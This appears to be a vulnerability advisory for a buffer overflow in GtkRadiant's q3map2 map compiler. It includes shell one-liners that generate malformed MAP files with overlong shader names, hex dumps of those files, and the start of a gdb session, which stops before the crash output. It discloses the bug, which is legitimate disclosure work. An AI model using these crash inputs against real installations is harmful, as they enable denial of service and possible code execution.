Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

===== Intro ===== GtkRadiant is a cross-platform level editor software for idtech game engines such as Quake. It comes with data authoring tools and a BSP map compiler called q3map2 which parses MAP files. The code has been around for a long time and uses unsafe string copy and format functions. A buffer overflow was discovered in the map compiler that occurs when parsing malformed MAP files with large shader image names that could allow for arbitrary code execution. Various projects also use or have forked the q2map2 code into their projects such as DeepMind Lab and other 3D or game related codebases. ===== Repro ===== $ echo -ne "\x2f\x2f\x0a\x7b\x0a\x61\x20\x70\x20\x73\x20\x30\x0a\x7b\x0a\x28\x20\x34\x20\x32\x20\x34\x20\x29\x20\x28\x20\x34\x20\x38\x20\x34\x20\x29\x20\x28\x20\x34\x20\x34\x20\x34\x20\x29\x20"`perl -e 'print "B" x 55'`"\x20\x35\x20\x30\x20\x34\x20\x30\x20\x7d\x0a" > crash_sprintf.map $ xxd crash_sprintf.map 00000000: 2f2f 0a7b 0a61 2070 2073 2030 0a7b 0a28 //.{.a p s 0.{.( 00000010: 2034 2032 2034 2029 2028 2034 2038 2034 4 2 4 ) ( 4 8 4 00000020: 2029 2028 2034 2034 2034 2029 2042 4242 ) ( 4 4 4 ) BBB 00000030: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB 00000040: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB 00000050: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB 00000060: 4242 4242 2035 2030 2034 2030 207d 0a BBBB 5 0 4 0 }. $ echo -ne "\x2f\x2f\x0a\x7b\x0a\x61\x20\x70\x20\x73\x20\x30\x0a\x7b\x0a\x28\x20\x34\x20\x32\x20\x34\x20\x29\x20\x28\x20\x34\x20\x38\x20\x34\x20\x29\x20\x28\x20\x34\x20\x34\x20\x34\x20\x29\x20"`perl -e 'print "B" x 64'`"\x20\x35\x20\x30\x20\x34\x20\x30\x20\x7d\x0a" > crash_strcpy.map $ xxd crash_strcpy.map 00000000: 2f2f 0a7b 0a61 2070 2073 2030 0a7b 0a28 //.{.a p s 0.{.( 00000010: 2034 2032 2034 2029 2028 2034 2038 2034 4 2 4 ) ( 4 8 4 00000020: 2029 2028 2034 2034 2034 2029 2042 4242 ) ( 4 4 4 ) BBB 00000030: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB 00000040: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB 00000050: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB 00000060: 4242 4242 4242 4242 4242 4242 4220 3520 BBBBBBBBBBBBB 5 00000070: 3020 3420 3020 7d0a 0 4 0 }. ======== Debugger ======== (gdb) r crash_sprintf.map Starting program: GtkRadiant/build/release/q3map2/q3map2 crash_sprintf.map [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 2.5.17 threads: 4 Q3Map - v1.0r (c) 1999 Id Software Inc.
